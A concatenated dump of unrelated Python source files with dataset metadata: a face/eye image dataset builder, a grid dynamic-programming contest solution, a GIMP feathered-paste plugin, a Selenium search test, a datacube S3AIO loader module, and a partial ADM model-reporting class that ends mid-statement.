15\n\n#face_eyes_detect_classのインスタンス生成\nfedc = face_eyes_detect_class2.face_eyes_detect_class()\n\ndef batch_iter(data_dir_path, file_path_label2, file_path_label4, file_path_label6, file_path_label9):\n print(exe_dir)\n #ファイルのディレクトリ(ファイル名まで含む)の名前を渡す\n def generate_arrays_from_file():\n \n #画像群があるディレクトリから全ての画像を読み込み、numpy配列として返す\n #ラベルファイルを展開し、np.arrayの型でlabelsに読み込む。\n \n def numericalSort(value):\n numbers = re.compile(r'(\\d+)')\n parts = numbers.split(value)\n parts[1::2] = map(int, parts[1::2])\n return parts\n \n file_list = sorted(glob.glob(data_dir_path+'/*jpg'), key = numericalSort)\n batch_size = 0\n sheets_num = 0\n a = 1\n\n image_name = []\n imgs = []\n roots = []\n labels_2 = []\n labels_4 = []\n labels_6 = []\n labels_9 = []\n \n f2_path = exe_dir + '/r_eyes_x.txt'\n f3_path = exe_dir + '/r_eyes_y.txt'\n f4_path = exe_dir + '/l_eyes_x.txt'\n f5_path = exe_dir + '/l_eyes_y.txt'\n f6_path = exe_dir + '/faces_x.txt'\n f7_path = exe_dir + '/faces_y.txt'\n f8_path = exe_dir + '/faces_w.txt'\n f9_path = exe_dir + '/datalabels2.txt'\n f10_path = exe_dir + '/datalabels4.txt'\n f11_path = exe_dir + '/datalabels6.txt'\n f12_path = exe_dir + '/datalabels9.txt'\n r_eyes_path = 'right_eyes'\n l_eyes_path = 'left_eyes'\n faces_path = 'faces' \n print(\"Converting data to NumPy Array ...\")\n print(\"Converting labels to NumPy Array ...\")\n \"\"\"\n for file_name in file_list:\n file_name = os.path.basename(file_name)\n root, ext = os.path.splitext(file_name)\n image_name.append(root)\n print(image_name)\n \"\"\"\n with open(file_path_label2, 'r') as f_label2, open(file_path_label4, 'r') as f_label4, open(file_path_label6, 'r') as f_label6, open(file_path_label9, 'r') as f_label9:\n \n for (file_name, label2, label4, label6, label9) in zip(file_list, f_label2.readlines(), f_label4.readlines(), f_label6.readlines(), f_label9.readlines()):\n #画像に対する処理\n file_name = os.path.basename(file_name)\n root, ext = os.path.splitext(file_name)\n if ext == u'.png' or u'.jpeg' or u'.jpg':\n abs_name = data_dir_path + '/' + file_name\n imgs.append(np.array(cv2.imread(abs_name))) #ここで画像が順番に読み込めていない\n roots.append(root)\n \n #ラベルに対する処理\n labels_2.append(int(label2))\n labels_4.append(int(label4))\n labels_6.append(int(label6))\n labels_9.append(int(label9))\n \n batch_size += 1\n \n if batch_size == 100:\n\n #print(roots)\n #画像、ラベルの前処理実行\n right_eyes, left_eyes, faces, r_eyes_x, r_eyes_y, l_eyes_x, l_eyes_y, faces_x, faces_y, faces_w, sheets_count, labels2, labels4, labels6, labels9 = fedc.face_eyes_detect(imgs, labels_2, labels_4, labels_6, labels_9)\n\n imgs = []\n labels_2 = []\n labels_4 = []\n labels_6 = []\n labels_9 = []\n roots = []\n batch_size = 0\n sheets_num += sheets_count\n print(sheets_num)\n \n with open(f2_path, 'a') as f2, open(f3_path, 'a') as f3, open(f4_path, 'a') as f4, open(f5_path, 'a') as f5, open(f6_path, 'a') as f6, open(f7_path, 'a') as f7, open(f8_path, 'a') as f8, open(f9_path, 'a') as f9, open(f10_path, 'a') as f10, open(f11_path, 'a') as f11, open(f12_path, 'a') as f12:\n \n for (r_eye_x, r_eye_y, l_eye_x, l_eye_y, face_x, face_y, face_w, label2, label4, label6, label9) in zip(r_eyes_x, r_eyes_y, l_eyes_x, l_eyes_y, faces_x, faces_y, faces_w, labels2, labels4, labels6, labels9):\n \n f2.write(str(r_eye_x) + \"\\n\")\n f3.write(str(r_eye_y) + \"\\n\")\n f4.write(str(l_eye_x) + \"\\n\")\n f5.write(str(l_eye_y) + \"\\n\")\n f6.write(str(face_x) + \"\\n\")\n f7.write(str(face_y) + \"\\n\")\n f8.write(str(face_w) + \"\\n\")\n f9.write(str(label2) + \"\\n\")\n f10.write(str(label4) + \"\\n\")\n f11.write(str(label6) + \"\\n\")\n f12.write(str(label9) + \"\\n\")\n \n for (right_eye, left_eye, face) in zip(right_eyes, left_eyes, faces):\n cv2.imwrite(os.path.join(r_eyes_path, '%d.jpg' %(a)), right_eye)\n cv2.imwrite(os.path.join(l_eyes_path, '%d.jpg' %(a)), left_eye)\n cv2.imwrite(os.path.join(faces_path, '%d.jpg' %(a)), face)\n a += 1\n \n print(\"write completed\")\n yield(1)\n\n return generate_arrays_from_file()\n print(\"Done\")\n print(sheets_num)\n","sub_path":"using_source/make_dataset.py","file_name":"make_dataset.py","file_ext":"py","file_size_in_byte":5844,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"155766413","text":"#!/usr/bin/env python\n# coding:utf-8\n# Copyright (C) dirlt\n\nfrom sys import stdin\n\n\ndef solve(graph, n):\n inf = 1 << 30\n neg_inf = -inf\n dp = [[[neg_inf] * 2 for _ in range(n)] for _ in range(n)]\n dp[0][0][1] = graph[0][0]\n\n def get_dp(i, j, d):\n if i < 0 or j < 0:\n return 0\n return dp[i][j][d]\n\n print('=====')\n for i in range(n):\n print([\"%3d\" % x for x in graph[i]])\n\n for i in range(n):\n for j in range(n):\n if (i, j) == (0, 0):\n continue\n res = max(get_dp(i - 1, j, 0), get_dp(i, j - 1, 0)) + graph[i][j]\n dp[i][j][0] = neg_inf if res < 0 else res\n\n res = max(get_dp(i - 1, j, 1), get_dp(i, j - 1, 1),\n get_dp(i - 1, j, 0) + get_dp(i, j - 1, 0)) + graph[i][j]\n dp[i][j][1] = neg_inf if res < 0 else res\n\n print('=====')\n for i in range(n):\n print([x for x in dp[i]])\n ans = dp[n - 1][n - 1][1]\n return ans\n\n\nn = int(stdin.readline())\ngraph = [[0 for _ in range(n)] for _ in range(n)]\nwhile True:\n a, b, c = [int(x) for x in stdin.readline().split()]\n if not (a and b and c):\n break\n graph[a - 1][b - 1] = c\n\nans = solve(graph, n)\nprint(ans)\n","sub_path":"codes/contest/misc/rqnoj_314.py","file_name":"rqnoj_314.py","file_ext":"py","file_size_in_byte":1236,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"8643315","text":"#! /usr/bin/env python\n# coding: utf-8\n\n\"\"\"\nPLUG-in for gimp 2.8 and 2.9\n(might work with previous versions)\n\nAllows one to paste the contents of the\nclipboard in an image with its contents\nfeathered from the border.\n\nThe ammoutn of feathreing is selected interactively\nduring the Plug-in execution, in a call to\nthe Gaussian Blur plug-in.\n\nWHen the Gaussian blur dialog pops-up, one is free\nto select the pasted temporary layer\non the Layers dialog and move it around to the\ndesired location.\n\n\n\n\"\"\"\n\nfrom gimpfu import *\n\ndef feathered_paste(img, layer):\n pdb.gimp_image_undo_group_start(img)\n sel = pdb.gimp_edit_paste(layer, False)\n pdb.gimp_floating_sel_to_layer(sel)\n pdb.gimp_layer_resize_to_image_size(sel)\n mask = pdb.gimp_layer_create_mask(sel, ADD_ALPHA_TRANSFER_MASK)\n pdb.gimp_layer_add_mask(sel, mask)\n pdb.gimp_displays_flush()\n # this should be a call to the\n # gegl plug-in to allow for on-screen preview\n pdb.plug_in_gauss(img, mask, 40, 40, 1, run_mode=False)\n\n # level the mask so that it actually is 0 at the pasted image border\n # (else it will be more like \n\n pdb.gimp_levels(mask, HISTOGRAM_VALUE,\n 128, 255, # input levels\n 1, #gamma - applying a high gaussian blur and haking\n # a way to see this gamma on screen would be nice\n 0, 255 # output levels\n ) \n # one might prefer to comment the line bellow and remaing with the\n # pasted selection in a separate layer:\n pdb.gimp_image_merge_down(img, sel, EXPAND_AS_NECESSARY)\n pdb.gimp_image_undo_group_end(img)\n\nregister(\n \"feather_paste\",\n \"Feathered paste\",\n \"Allows one to feather a pasted object \"\n \"borders before commiting to the image\",\n \"João S. O. Bueno\",\n \"Creative Commons v 3.0 attribution required\",\n \" 2013\",\n \"Feathered paste\",\n \"*\",\n [\n (PF_IMAGE, \"img\", \"Input image\", None),\n (PF_DRAWABLE, \"layer\", \"Input layer\", None)\n ],\n [],\n feathered_paste,\n menu=\"/Edit\"\n )\n\nmain()","sub_path":"feather_paste.py","file_name":"feather_paste.py","file_ext":"py","file_size_in_byte":2090,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"59062330","text":"# coding=utf-8\nimport unittest\nfrom selenium import webdriver\nimport time\n\nclass Baidu_search(unittest.TestCase):\n def setUp(self):\n self.dr=webdriver.Chrome(executable_path='/Users/ph/Documents/chromedriver')\n self.dr.get('https://www.baidu.com')\n self.dr.implicitly_wait(3)\n\n def tearDown(self):\n self.dr.quit()\n\n def test_baidu_search(self):\n self.dr.find_element_by_xpath('//*[@id=\"kw\"]').send_keys('selenium')\n self.dr.find_element_by_xpath('//*[@id=\"su\"]').click()\n time.sleep(2)\n '''\n try:\n assert u'selenium' in self.dr.title\n print 'testpass'\n except:\n print 'tetfail'\n '''\n assert u'selenium' in self.dr.title\nif __name__=='__main__':\n unittest.main()","sub_path":"learn_code/learn3.py","file_name":"learn3.py","file_ext":"py","file_size_in_byte":793,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"137675308","text":"\"\"\" This modules provides interim solution for supporting S3AIO read driver\nduring IO driver refactoring.\n\nThis module will be removed once S3AIO driver migrates to new style.\n\n\"\"\"\nimport logging\nimport numpy as np\nimport uuid\nfrom math import ceil\nfrom typing import Union, Optional, Callable, List, Any\n\nfrom concurrent.futures import ThreadPoolExecutor, wait\nfrom multiprocessing import cpu_count\n\nfrom datacube.utils import ignore_exceptions_if\nfrom datacube.utils.geometry import GeoBox, roi_is_empty\nfrom datacube.storage import BandInfo, DataSource\nfrom datacube.model import Measurement, Dataset\nfrom datacube.api.core import Datacube\nfrom datacube.storage._read import read_time_slice\n\n_LOG = logging.getLogger(__name__)\n\nFuserFunction = Callable[[np.ndarray, np.ndarray], Any] # pylint: disable=invalid-name\n\n\ndef _init_s3_aio_driver():\n try:\n from datacube.drivers.s3.driver import reader_driver_init, reader_test_driver_init\n return reader_driver_init(), reader_test_driver_init()\n except Exception: # pylint: disable=broad-except\n return None, None\n\n\nS3AIO_DRIVER, S3AIO_FILE_DRIVER = _init_s3_aio_driver()\n\n\ndef reproject_and_fuse(datasources: List[DataSource],\n destination: np.ndarray,\n dst_gbox: GeoBox,\n dst_nodata: Optional[Union[int, float]],\n resampling: str = 'nearest',\n fuse_func: Optional[FuserFunction] = None,\n skip_broken_datasets: bool = False):\n \"\"\"\n Reproject and fuse `sources` into a 2D numpy array `destination`.\n\n :param datasources: Data sources to open and read from\n :param destination: ndarray of appropriate size to read data into\n :param dst_gbox: GeoBox defining destination region\n :param skip_broken_datasets: Carry on in the face of adversity and failing reads.\n \"\"\"\n # pylint: disable=too-many-locals\n assert len(destination.shape) == 2\n\n def copyto_fuser(dest: np.ndarray, src: np.ndarray) -> None:\n where_nodata = (dest == dst_nodata) if not np.isnan(dst_nodata) else np.isnan(dest)\n np.copyto(dest, src, where=where_nodata)\n\n fuse_func = fuse_func or copyto_fuser\n\n destination.fill(dst_nodata)\n if len(datasources) == 0:\n return destination\n elif len(datasources) == 1:\n with ignore_exceptions_if(skip_broken_datasets):\n with datasources[0].open() as rdr:\n read_time_slice(rdr, destination, dst_gbox, resampling, dst_nodata)\n\n return destination\n else:\n # Multiple sources, we need to fuse them together into a single array\n buffer_ = np.full(destination.shape, dst_nodata, dtype=destination.dtype)\n for source in datasources:\n with ignore_exceptions_if(skip_broken_datasets):\n with source.open() as rdr:\n roi = read_time_slice(rdr, buffer_, dst_gbox, resampling, dst_nodata)\n\n if not roi_is_empty(roi):\n fuse_func(destination[roi], buffer_[roi])\n buffer_[roi] = dst_nodata # clean up for next read\n\n return destination\n\n\ndef fuse_measurement(dest: np.ndarray,\n datasets: List[Dataset],\n geobox: GeoBox,\n measurement: Measurement,\n mk_new: Callable[[BandInfo], DataSource],\n skip_broken_datasets: bool = False):\n reproject_and_fuse([mk_new(BandInfo(dataset, measurement.name)) for dataset in datasets],\n dest,\n geobox,\n dest.dtype.type(measurement.nodata),\n resampling=measurement.get('resampling_method', 'nearest'),\n fuse_func=measurement.get('fuser', None),\n skip_broken_datasets=skip_broken_datasets)\n\n\ndef fuse_lazy(datasets,\n geobox: GeoBox,\n measurement: Measurement,\n mk_new: Callable[[BandInfo], DataSource],\n skip_broken_datasets: bool = False,\n prepend_dims: int = 0):\n prepend_shape = (1,) * prepend_dims\n data = np.full(geobox.shape, measurement.nodata, dtype=measurement.dtype)\n fuse_measurement(data, datasets, geobox, measurement, mk_new,\n skip_broken_datasets=skip_broken_datasets)\n return data.reshape(prepend_shape + geobox.shape)\n\n\ndef get_loader(sources):\n if S3AIO_DRIVER is None:\n raise RuntimeError(\"S3AIO driver failed to load\")\n\n ds = sources.values[0][0]\n if ds.uri_scheme == 'file':\n return S3AIO_FILE_DRIVER.new_datasource\n else:\n return S3AIO_DRIVER.new_datasource\n\n\ndef _chunk_geobox(geobox, chunk_size):\n num_grid_chunks = [int(ceil(s / float(c))) for s, c in zip(geobox.shape, chunk_size)]\n geobox_subsets = {}\n for grid_index in np.ndindex(*num_grid_chunks):\n slices = [slice(min(d * c, stop), min((d + 1) * c, stop))\n for d, c, stop in zip(grid_index, chunk_size, geobox.shape)]\n geobox_subsets[grid_index] = geobox[slices]\n return geobox_subsets\n\n\n# pylint: disable=too-many-locals\ndef make_dask_array(sources,\n geobox,\n measurement,\n skip_broken_datasets=False,\n dask_chunks=None):\n from ..core import (_tokenize_dataset,\n select_datasets_inside_polygon,\n _calculate_chunk_sizes)\n from dask import array as da\n\n dsk_name = 'datacube_load_{name}-{token}'.format(name=measurement['name'], token=uuid.uuid4().hex)\n\n irr_chunks, grid_chunks = _calculate_chunk_sizes(sources, geobox, dask_chunks)\n sliced_irr_chunks = (1,) * sources.ndim\n\n dsk = {}\n geobox_subsets = _chunk_geobox(geobox, grid_chunks)\n mk_new = get_loader(sources)\n\n for irr_index, datasets in np.ndenumerate(sources.values):\n for dataset in datasets:\n ds_token = _tokenize_dataset(dataset)\n dsk[ds_token] = dataset\n\n for grid_index, subset_geobox in geobox_subsets.items():\n dataset_keys = [_tokenize_dataset(d) for d in\n select_datasets_inside_polygon(datasets, subset_geobox.extent)]\n dsk[(dsk_name,) + irr_index + grid_index] = (fuse_lazy,\n dataset_keys,\n subset_geobox,\n measurement,\n mk_new,\n skip_broken_datasets,\n sources.ndim)\n\n data = da.Array(dsk, dsk_name,\n chunks=(sliced_irr_chunks + grid_chunks),\n dtype=measurement['dtype'],\n shape=(sources.shape + geobox.shape))\n\n if irr_chunks != sliced_irr_chunks:\n data = data.rechunk(chunks=(irr_chunks + grid_chunks))\n return data\n\n\ndef dask_load(sources, geobox, measurements, dask_chunks,\n skip_broken_datasets=False):\n def data_func(measurement):\n return make_dask_array(sources, geobox, measurement,\n skip_broken_datasets=skip_broken_datasets,\n dask_chunks=dask_chunks)\n\n return Datacube.create_storage(sources.coords, geobox, measurements, data_func)\n\n\ndef xr_load(sources, geobox, measurements,\n skip_broken_datasets=False,\n use_threads=False):\n mk_new = get_loader(sources)\n\n data = Datacube.create_storage(sources.coords, geobox, measurements)\n\n if use_threads:\n def work_load_data(index, datasets, m):\n t_slice = data[m.name].values[index]\n fuse_measurement(t_slice, datasets, geobox, m,\n mk_new=mk_new,\n skip_broken_datasets=skip_broken_datasets)\n\n futures = []\n pool = ThreadPoolExecutor(cpu_count()*2)\n for index, datasets in np.ndenumerate(sources.values):\n for m in measurements:\n futures.append(pool.submit(work_load_data, index, datasets, m))\n\n wait(futures)\n else:\n for index, datasets in np.ndenumerate(sources.values):\n for m in measurements:\n t_slice = data[m.name].values[index]\n\n fuse_measurement(t_slice, datasets, geobox, m,\n mk_new=mk_new,\n skip_broken_datasets=skip_broken_datasets)\n\n return data\n","sub_path":"datacube/api/_legacy/load.py","file_name":"load.py","file_ext":"py","file_size_in_byte":8647,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"541121767","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Tue Nov 26 15:35:57 2019\r\n\r\n@author: shiss\r\n\"\"\"\r\n\r\nimport pandas as pd\r\nimport numpy as np\r\n\r\nimport matplotlib.pylab as plt\r\nfrom matplotlib import colors\r\nimport matplotlib.patches as mpatches\r\nimport matplotlib.dates as mdates\r\nimport matplotlib.ticker as mtick\r\nfrom matplotlib.lines import Line2D\r\n\r\nimport seaborn as sns\r\nimport datetime\r\n\r\n\r\nclass ModelReport:\r\n \"\"\"\r\n Class to visualize ADM model data exported from datamart.\r\n\r\n \"\"\"\r\n\r\n\r\n def __init__(self, modelID, issue, group, channel, direction, modelName, positives, responses, performance, snapshot):\r\n \"\"\"\r\n The constructor for ModelReport class.\r\n\r\n All the input data to instantiate the class must be numpy arrays.\r\n If ADM data is obtained in csv format, each input array for this class is the corresponding\r\n column in the data file. Therefore, the nth item from each parameter array belongs to one model.\r\n\r\n Args:\r\n modelID (numpy array): id of the models imported from ADM datamart\r\n issue (numpy array): business issue, usually this is PYISSUE\r\n group (numpy array): group, usually this is PYGROUP\r\n channel (numpy array): channel, usually this is PYCHANNEL\r\n direction (numpy array): direction, usually this is PYDIRECTION\r\n modelName (numpy array): name of the models, usually this is PYNAME\r\n positives (numpy array): number of positives\r\n responses (numpy array): total number of responses, usually this is PYRESPONSECOUNT\r\n modelAUC (numpy array): model performance\r\n modelSnapshot (numpy array of datetime): model snapshot\r\n\r\n Attributes:\r\n cols (list of str): column names for the model pandas dataframe\r\n dfModel (pandas dataframe): dataframe that contains all model data\r\n latestModels (pandas dataframe): dataframe of only latest snapshot of each model\r\n\r\n Examples:\r\n modelID = np.array(['i1', 'i1', 'i3'])\r\n modelName = np.array(['model1', 'model1', 'model3'])\r\n positives = np.array([1, 2, 7])\r\n responses = np.array([100, 110, 200])\r\n modelAUC = np.array([0.6, 0.7, 0.73])\r\n modelSnapshot = np.array([datetimeObj(2019,1,1), datetimeObj(2019,2,1), datetimeObj(2019,3,1)])\r\n\r\n dfModel:\r\n | model ID |...| model name | positives | responses | model performance | model snapshot |\r\n -------------------------------------------------------------------------------------------------\r\n | i1 |...| model1 | 1 | 100 | 0.6 | datetimeObj(2019,1,1) |\r\n | i1 |...| model1 | 2 | 110 | 0.7 | datetimeObj(2019,2,1) |\r\n | i3 |...| model3 | 7 | 200 | 0.73 | datetimeObj(2019,3,1) |\r\n\r\n latestModels:\r\n | model ID |...| model name | positives | responses | model performance | model snapshot |\r\n -------------------------------------------------------------------------------------------------\r\n | i1 |...| model1 | 2 | 110 | 0.7 | datetimeObj(2019,2,1) |\r\n | i3 |...| model3 | 7 | 200 | 0.73 | datetimeObj(2019,3,1) |\r\n\r\n \"\"\"\r\n self.modelID = modelID\r\n self.issue = issue\r\n self.group = group\r\n self.channel = channel\r\n self.direction = direction\r\n self.modelName = modelName\r\n self.positives = positives\r\n self.responses = responses\r\n self.modelAUC = performance\r\n self.modelSnapshot = snapshot\r\n self.cols = ['model ID', 'issue', 'group', 'channel', 'direction', 'model name', 'positives', 'responses', 'model performance', 'model snapshot']\r\n self._check_data_shape()\r\n self.dfModel, self.latestModels = self._create_model_df()\r\n\r\n @staticmethod\r\n def _set_proper_type(df):\r\n \"\"\" Sets correct data type for certain dataframe columns\r\n\r\n \"\"\"\r\n for col in ['issue', 'group', 'channel', 'direction', 'model name']:\r\n df[col] = df[col].astype(str)\r\n df['model snapshot'] = pd.to_datetime(df['model snapshot'])\r\n return df\r\n\r\n def _check_data_shape(self):\r\n \"\"\" Ensure input data has the correct shape\r\n\r\n \"\"\"\r\n if not self.modelID.shape[0]==self.issue.shape[0]==self.group.shape[\r\n 0]==self.channel.shape[0]==self.direction.shape[\r\n 0]==self.modelName.shape[0]==self.positives.shape[\r\n 0]==self.responses.shape[0]==self.modelAUC.shape[\r\n 0]==self.modelSnapshot.shape[0]:\r\n raise TypeError(\"All input data must have the same number of rows\")\r\n\r\n def _create_model_df(self):\r\n \"\"\" Generate model dataframes\r\n\r\n This method generates two pandas dataframes. One contains all the historical model data\r\n the other contains only the latest snapshot of each model\r\n Success rate is also calculated and added as a new column to both dataframes\r\n\r\n Returns:\r\n A tuple of pandas dataframes. First one is all the models. The second is latest models\r\n rtype: tuple\r\n\r\n \"\"\"\r\n df_all = pd.DataFrame.from_dict(dict(\r\n zip(self.cols,[self.modelID, self.issue, self.group, self.channel,\r\n self.direction, self.modelName, self.positives, \r\n self.responses, self.modelAUC, self.modelSnapshot] )))\r\n df_all = self._calculate_success_rate(df_all, 'positives', 'responses', 'success rate (%)')\r\n df_all = self._set_proper_type(df_all)\r\n df_latest = df_all.sort_values('model snapshot').groupby(['model ID']).tail(1)\r\n\r\n return (df_all, df_latest)\r\n\r\n @staticmethod\r\n def _calculate_success_rate(df, pos, total, label):\r\n \"\"\"Given a pandas dataframe, it calculates success rate and adds as new column\r\n\r\n success rate = number of positive responses / total number of responses\r\n\r\n Args:\r\n df (pandas dataframe)\r\n pos (str): name of the positive response column\r\n total (str): name of the total response column\r\n label (str): name of the new column for success rate\r\n\r\n Returns:\r\n pandas dataframe\r\n \"\"\"\r\n df[label] = 0\r\n df.loc[df[total]>0, label] = df[pos]*100.0/df[total]\r\n df.loc[df[total]<=0, label] = 0\r\n\r\n return df\r\n\r\n @staticmethod\r\n def _apply_query(query, df):\r\n \"\"\" Given an input pandas dataframe, it filters the dataframe based on input query\r\n\r\n Args:\r\n query (dict): a dict of lists where the key is column name in the dataframe and the corresponding\r\n value is a list of values to keep in the dataframe\r\n df (pandas dataframe)\r\n\r\n Returns:\r\n filtered pandas dataframe\r\n \"\"\"\r\n #if 'model ID' in df.columns:\r\n # _df = df.drop('model ID', axis=1)\r\n #else: \r\n _df = df.reset_index(drop=True)\r\n if query!={}:\r\n if not type(query)==dict:\r\n raise TypeError('query must be a dict where values are lists')\r\n for key, val in query.items():\r\n if not type(val)==list:\r\n raise ValueError('query values must be list')\r\n\r\n for col, val in query.items():\r\n _df = _df[_df[col].isin(val)]\r\n return _df\r\n\r\n @staticmethod\r\n def _create_sign_df(df):\r\n \"\"\" Generates dataframe to show whether responses decreased/increased from day to day\r\n\r\n For a given dataframe where columns are dates and rows are model names,\r\n subtracts each day's value from the previous day's value per model. Then masks the data.\r\n If decreased (desired situtation), it will put 1 in the cell, if no change, it will\r\n put 0, and if decreased it will put -1. This dataframe then could be used in the heatmap\r\n\r\n Args:\r\n df (pandas dataframe): this typically is pivoted self.dfModel\r\n\r\n Returns:\r\n pandas dataframe\r\n\r\n \"\"\"\r\n vals = df.reset_index().values\r\n cols = df.columns\r\n _df = pd.DataFrame(np.hstack(\r\n (np.array([[vals[i,0]] for i in range(vals.shape[0])]),\r\n np.array([vals[i,2:]-vals[i,1:-1] for i in range(vals.shape[0])]))))\r\n _df.columns = cols\r\n _df.rename(columns={cols[0]:'model ID'}, inplace=True)\r\n df_sign = _df.set_index('model ID').mask(_df.set_index('model ID')>0, 1)\r\n df_sign = df_sign.mask(df_sign<0, -1)\r\n df_sign[cols[0]] = 1\r\n return df_sign[cols].fillna(1)\r\n\r\n def generate_heatmap_df(self, lookback, query, fill_null_days):\r\n \"\"\" Generates dataframes needed to plot calendar heatmap\r\n\r\n The method generates two dataframes where one is used to annotate the heatmap\r\n and the other is used to apply colors based on the sign dataframe.\r\n If there are multiple snapshots per day, the latest one will be selected\r\n\r\n Args:\r\n lookback (int): defines how many days to look back at data from the last snapshot\r\n query (dict): dict of lists to filter dataframe\r\n fill_null_days (Boolean): if True, null values will be generated in the dataframe for\r\n days where there is no model snapshot\r\n\r\n Returns:\r\n tuple of annotate and sign dataframes\r\n\r\n \"\"\"\r\n df = self._apply_query(query, self.dfModel)\r\n df = df[['model ID', 'model snapshot', 'responses']].sort_values('model snapshot').reset_index(drop=True)\r\n df['Date'] = pd.Series([i.date() for i in df['model snapshot']])\r\n df = df[df['Date']>(df['Date'].max()-datetime.timedelta(lookback))]\r\n if df.shape[0]<1:\r\n print(\"no data within lookback range\")\r\n return pd.DataFrame()\r\n else:\r\n idx = df.groupby(['model ID', 'Date'])['model snapshot'].transform(max)==df['model snapshot']\r\n df = df[idx]\r\n if fill_null_days:\r\n idx_date = pd.date_range(df['Date'].min(), df['Date'].max())\r\n df = df.set_index('Date').groupby('model ID').apply(lambda d: d.reindex(idx_date)).drop(\r\n 'model ID', axis=1).reset_index('model ID').reset_index().rename(columns={'index':'Date'})\r\n df['Date'] = df['Date'].dt.date\r\n df_annot = df.pivot(columns='Date', values='responses', index='model ID')\r\n df_sign = self._create_sign_df(df_annot)\r\n return (df_annot, df_sign)\r\n\r\n def show_bubble_chart(self, annotate=False, sizes=(10, 2000), aspect=3,\r\n b_to_anchor=(1.1,0.7), query={}, figsize=(12, 6)):\r\n \"\"\" Creates bubble chart similar to ADM OOTB reports\r\n\r\n Args:\r\n annotate (Boolean): If set to True, the total responses per model will be annotated\r\n to the right of the bubble. All bubbles will be the same size\r\n if this is set to True\r\n sizes (tuple): To determine how sizes are chosen when 'size' is used. 'size'\r\n will not be used if annotate is set to True\r\n aspect (int): aspect ratio of the graph\r\n b_to_anchor (tuple): position of the legend\r\n query (dict): dict of lists to filter dataframe\r\n figsize (tuple): size of graph\r\n \"\"\"\r\n _df = self._apply_query(query, self.latestModels)\r\n\r\n if annotate:\r\n gg = sns.relplot(x='model performance', y='success rate (%)', aspect=aspect, data=_df, hue='model name')\r\n ax = gg.axes[0,0]\r\n for idx,row in _df[['model performance', 'success rate (%)', 'responses']].sort_values(\r\n 'responses').reset_index(drop=True).reset_index().fillna(-1).iterrows():\r\n if row[1]!=-1 and row[2]!=-1 and row[3]!=-1:\r\n# space = (gg.ax.get_xticks()[2]-gg.ax.get_xticks()[1])/((row[0]+15)/(row[0]+1))\r\n ax.text(row[1]+0.003,row[2],str(row[3]).split('.')[0], horizontalalignment='left')\r\n c = gg._legend.get_children()[0].get_children()[1].get_children()[0]\r\n c._children = c._children[0:_df['model name'].count()+1]\r\n else:\r\n gg = sns.relplot(x='model performance', y='success rate (%)', size='responses',\r\n data=_df, hue='model name', sizes=sizes, aspect=aspect)\r\n\r\n gg.fig.set_size_inches(figsize[0], figsize[1])\r\n plt.setp(gg._legend.get_texts(), fontsize='10')\r\n gg.ax.set_xlabel('Performance')\r\n gg.ax.set_xlim(0.48, 1)\r\n gg._legend.set_bbox_to_anchor(b_to_anchor)\r\n\r\n def show_response_auc_time(self, day_interval=7, query={}, figsize=(16, 10)):\r\n \"\"\" Shows responses and performance of models over time\r\n\r\n Reponses are on the y axis and the performance of the model is indicated by heatmap.\r\n x axis is date\r\n\r\n Args:\r\n day_interval (int): interval of tick labels along x axis\r\n query (dict): dict of lists to filter dataframe\r\n figsize (tuple): size of graph\r\n \"\"\"\r\n _df_g = self._apply_query(query, self.dfModel)\r\n if len(_df_g['model snapshot'].unique())<2:\r\n print('There are not enough timestamps to plot a timeline graph')\r\n else:\r\n fig, ax = plt.subplots(figsize=figsize)\r\n norm = colors.Normalize(vmin=0.5, vmax=1)\r\n mapper = plt.cm.ScalarMappable(norm=norm, cmap=plt.cm.gnuplot_r)\r\n for ids in _df_g['model ID'].unique():\r\n _df = _df_g[_df_g['model ID']==ids].sort_values('model snapshot')\r\n name = _df['model name'].unique()[0]\r\n ax.plot(_df['model snapshot'].values, _df['responses'].values, color='gray')\r\n ax.scatter(_df['model snapshot'].values, _df['responses'].values,\r\n color=[mapper.to_rgba(v) for v in _df['model performance'].values])\r\n if _df['responses'].max()>1:\r\n ax.text(_df['model snapshot'].max(),_df['responses'].max(),' '+name, {'fontsize':9})\r\n for i in ax.get_xmajorticklabels():\r\n i.set_rotation(90)\r\n ax.set_ylabel('Responses')\r\n ax.set_xlabel('Date')\r\n ax.xaxis.set_major_locator(mdates.DayLocator(interval=day_interval))\r\n ax.xaxis.set_major_formatter(mdates.DateFormatter(\"%y-%m-%d\"))\r\n ax.set_yscale('log')\r\n mapper._A=[]\r\n cbar = fig.colorbar(mapper)\r\n cbar.ax.get_yaxis().labelpad = 20\r\n cbar.ax.set_ylabel('Model Performance (AUC)')\r\n print('Maximum AUC across all models: %.2f' % self.dfModel['model performance'].max())\r\n\r\n def show_calendar_heatmap(self, lookback=15, fill_null_days=True, query={}, figsize=(14, 10)):\r\n \"\"\" Creates a calendar heatmap\r\n\r\n x axis shows model names and y axis the dates. Data in each cell is the total number\r\n of responses. The color indicates where responses increased/decreased or\r\n did not change compared to the previous day\r\n\r\n Args:\r\n lookback (int): defines how many days to look back at data from the last snapshot\r\n fill_null_days (Boolean): if True, null values will be generated in the dataframe for\r\n days where there is no model snapshot\r\n query (dict): dict of lists to filter dataframe\r\n figsize (tuple): size of graph\r\n \"\"\"\r\n f, ax = plt.subplots(figsize=figsize)\r\n annot_df, heatmap_df = self.generate_heatmap_df(lookback, query, fill_null_days)\r\n heatmap_df = heatmap_df.reset_index().merge(self.dfModel[['model ID', 'model name']].drop_duplicates(), \r\n on='model ID', how='left').drop('model ID', axis=1).set_index('model name')\r\n annot_df = annot_df.reset_index().merge(self.dfModel[['model ID', 'model name']].drop_duplicates(), \r\n on='model ID', how='left').drop('model ID', axis=1).set_index('model name')\r\n myColors = ['r', 'orange', 'w']\r\n colorText = ['Decreased', 'No Change', 'Increased or NA']\r\n cmap = colors.ListedColormap(myColors)\r\n sns.heatmap(heatmap_df.T, annot=annot_df.T, mask=annot_df.T.isnull(), ax=ax,\r\n linewidths=0.5, fmt='.0f', cmap=cmap, vmin=-1, vmax=1, cbar=False)\r\n bottom, top = ax.get_ylim()\r\n ax.set_ylim(bottom + 0.5, top - 0.5)\r\n patches = 